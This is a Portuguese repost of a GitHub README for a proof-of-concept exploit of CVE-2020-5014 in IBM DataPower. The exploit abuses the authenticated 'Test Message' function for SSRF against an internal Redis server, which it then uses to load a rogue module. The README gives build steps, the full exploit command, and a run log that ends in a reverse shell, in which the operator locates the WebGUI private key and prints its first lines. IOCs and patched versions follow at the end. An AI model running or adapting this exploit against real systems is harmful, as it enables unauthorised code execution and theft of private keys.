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datapower-redis-rce-exploit — Um PoC para o exploit de RCE autenticado em Redis do IBM Datapower abusando da função Test Message (CVE-2020-5014) | Kitploit
Ferramentas/GitHubGitHub/copethomas/datapower-redis-rce-exploit
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GitHubcopethomas/datapower-redis-rce-exploit

datapower-redis-rce-exploit

Um PoC para o exploit de RCE autenticado em Redis do IBM Datapower abusando da função Test Message (CVE-2020-5014)

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datapower-redis-rce-exploit (CVE-2020-5014)

Uma POC para o exploit IBM DataPower Authenticated Redis RCE abusando da função "Test Message".

poc_demo

Explicação completa e demonstração no Youtube

Post no blog em tomcope.com

Explicação

Usando a função "Send a Test Message" do DataPower disponível através de uma sessão autenticada na WebGUI do DataPower, é possível realizar um ataque SSRF contra o servidor Redis interno do DataPower. O servidor Redis interno é protegido por senha, mas parece usar uma senha fixa (hardcoded). Isso pode então ser combinado com uma vulnerabilidade de RCE pré-existente do Redis para executar código arbitrário como o usuário drouter dentro do sistema operacional Linux subjacente do DataPower.

Início Rápido

  1. Clone este repositório
  2. Compile o módulo:
    • cd RedisModulesSDK/dpredisshell/
    • make
  3. Compile o código Golang
    • go build
  4. Verifique as flags
    • ./datapower-redis-rce-exploit -h
  5. Execute o exploit
    • ./datapower-redis-rce-exploit -dpip 1.2.3.4 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd xxx -fakeredisip 5.6.7.8

Exemplo

Abaixo está um exemplo prático executando o DataPower via Docker e o exploit localmente através do localhost:

  1. docker run -it -e DATAPOWER_ACCEPT_LICENSE=true -e DATAPOWER_INTERACTIVE=true -e DATAPOWER_WORKER_THREADS=4 --network='host' ibmcom/datapower:10.0.1.1
  2. Faça login no DataPower com o nome de usuário admin e senha admin
  3. Configure com a WebGUI:
idg# config
Global mode
idg(config)# web-mgmt
Modify Web Management Service configuration

idg(config web-mgmt)# admin-state enabled
idg(config web-mgmt)# exit
idg(config)# write mem
Overwrite previously saved configuration? Yes/No [y/n]: y
Configuration saved successfully.
idg(config)# exit
idg#
  1. Verifique se a WebUI está ativa:
idg# show web-mgmt

web-mgmt [up] 
--------
 admin-state enabled 
 ip-address 0.0.0.0 
 port 9090 
 save-config-overwrite on 
 idle-timeout 600 Seconds
 acl web-mgmt  [up]
 ssl-config-type server 
 enable-sts on 

idg#
  1. Abra uma nova janela de terminal
  2. Clone este repositório
    • git clone https://github.com/copethomas/datapower-redis-rce-exploit
  3. Compile o módulo:
    • cd RedisModulesSDK/dpredisshell/
    • make
  4. Compile o código Golang
    • cd ../../
    • go build
  5. Carregue a senha interna do redis no seu shell. (Leia a Explicação para mais detalhes)
$ read DPREDISPASSWD
apples
$ echo $DPREDISPASSWD
apples
  1. Execute o exploit:
$ ./datapower-redis-rce-exploit -dpip 127.0.0.1 -dpport 9090 -dpredismodule RedisModulesSDK/dpredisshell/dpredisshell.so -dpredispasswd $DPREDISPASSWD -dpredisport 16379 -dpwebguipassword "admin" -dpwebguiuser "admin" -fakeredisip 127.0.0.1 -fakeredisport 8888
Main      - 2020/10/18 23:34:29 datapower-redis-rce-exploit - Created by Thomas Cope
Main      - 2020/10/18 23:34:29 Starting Rogue Redis Server...
Main      - 2020/10/18 23:34:29 Attempting to Login to Datapower...
FakeRedis - 2020/10/18 23:34:29 Starting Fake Redis Server on 127.0.0.1:8888
FakeRedis - 2020/10/18 23:34:29 Online and Ready!
Main      - 2020/10/18 23:34:29 Datapower Credentials Valid!
Main      - 2020/10/18 23:34:29 Datapower Login Token = JlkIp5wAvuQfSh5+cY49BovA.5
Main      - 2020/10/18 23:34:29 Exchanging Login token for auth cookie...
Main      - 2020/10/18 23:34:29 Got login Cookie OK! - [ibmwdp=1wBXDLzY9XdTNz4aD5+JQspc.5; Path=/; HttpOnly; Secure]+
Main      - 2020/10/18 23:34:29 Datapower Login Complete!
Main      - 2020/10/18 23:34:29 Attempting Redis exploit via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Accepting connection...
FakeRedis - 2020/10/18 23:34:29 Accepted Connection OK!
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:29 Datapower 'Test Connection' sent OK, waiting for redis connection...
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis <- FakeRedis
FakeRedis - 2020/10/18 23:34:29 Data : DatapowerRedis -> FakeRedis
FakeRedis - 2020/10/18 23:34:29 Uploading module...
FakeRedis - 2020/10/18 23:34:29 Upload Complete!
Main      - 2020/10/18 23:34:29 Payload has been delivered to Datapower internal redis!
Main      - 2020/10/18 23:34:29 Performing clean up...
Main      - 2020/10/18 23:34:29 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:29 Error reading data from network connection: read tcp 127.0.0.1:8888->127.0.0.1:44207: read: connection reset by peer - (This is expected)
FakeRedis - 2020/10/18 23:34:29 Connection Closed
Main      - 2020/10/18 23:34:30 Datapower 'Test Connection' Finished OK
Main      - 2020/10/18 23:34:30 Requesting Reverse Shell via Datapower 'Test Connection' ...
Main      - 2020/10/18 23:34:30 Waiting for Reverse Shell...
Main      - 2020/10/18 23:34:30 Performing Datapower 'Test Connection'...
FakeRedis - 2020/10/18 23:34:30 Accepting connection...
Main      - 2020/10/18 23:34:30 Got Reverse Shell!
Main      - 2020/10/18 23:34:30 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
id
uid=1000(drouter) gid=1000(drouter) groups=1000(drouter)
ps -ef
UID          PID    PPID  C STIME TTY          TIME CMD
drouter        1       0  6 22:00 pts/0    00:02:15 /opt/ibm/datapower/root/drouter
drouter       24       1  0 22:00 pts/0    00:00:06 QuotaEnforcement unix:/opt/ibm/datapower/drouter/ramdisk2/sidecar-QuotaEnforcement-0x7f4f38c6e2c8 QuotaEnforcement
drouter       27      24  0 22:00 pts/0    00:00:05 /opt/ibm/datapower/root/dp-redis-server 127.0.0.1:16379
drouter       28      24  0 22:00 pts/0    00:00:08 /opt/ibm/datapower/root/dp-redis-sentinel 127.0.0.1:26379 [sentinel]
drouter       40       1  0 22:00 pts/0    00:00:05 dpmon -F dpmon -T -s 1 -c 900 -U /opt/ibm/datapower/drouter/temporary/dpmon/ -m /opt/ibm/datapower/drouter/temporary/dpmon/ -i 8 -M 31457280 -Z UTC -B 0
drouter       61      27  0 22:34 pts/0    00:00:00 [sh]
drouter       63      61  0 22:34 pts/0    00:00:00 
find / -name webgui-privkey.pem 2>/dev/null
/opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
head -2 /opt/ibm/datapower/root/secure/usrcerts/webgui-privkey.pem
-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDYFBod9TmWZLKT

IOCs

Durante o exploit, o DataPower registrará múltiplos erros url-open com a url interna do redis. Isso ocorre porque o redis não responde no formato XML esperado pelo DataPower.

18:22:55	network	error	130	request	  	0x80e00040	xmlfirewall (map): url-open: Remote error on url 'http://127.0.0.1:16379/'

Correção / Patch

Corrigido nas versões 10.0.1.2 e 2018.4.1.15

  • https://www.ibm.com/support/pages/node/6426789
  • https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5014

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